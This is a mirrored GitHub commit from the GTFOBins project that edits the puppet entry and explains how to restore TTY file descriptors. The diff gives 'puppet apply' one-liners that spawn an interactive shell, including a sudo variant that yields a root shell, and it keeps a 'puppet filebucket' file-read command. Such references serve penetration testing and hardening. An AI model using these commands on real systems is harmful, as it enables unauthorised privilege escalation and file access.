mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-10-21 12:56:12 +02:00
Make interactive execute whenever possible
Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
This commit is contained in:
@@ -1,10 +1,8 @@
|
||||
---
|
||||
functions:
|
||||
execute-non-interactive:
|
||||
- description: The executed command output shown in the puppet log format.
|
||||
code: |
|
||||
export CMD="/usr/bin/id"
|
||||
puppet apply -e "exec { '$CMD': logoutput => true }"
|
||||
execute-interactive:
|
||||
- code: |
|
||||
puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
|
||||
file-write:
|
||||
- description: The file path must be absolute.
|
||||
code: |
|
||||
@@ -16,8 +14,6 @@ functions:
|
||||
export LFILE=file_to_read
|
||||
puppet filebucket -l diff /dev/null $LFILE
|
||||
sudo-enabled:
|
||||
- description: The executed command output shown in the puppet log format.
|
||||
code: |
|
||||
export CMD="/usr/bin/id"
|
||||
sudo puppet apply -e "exec { '$CMD': logoutput => true }"
|
||||
- code: |
|
||||
sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
|
||||
---
|
||||
|
Reference in New Issue
Block a user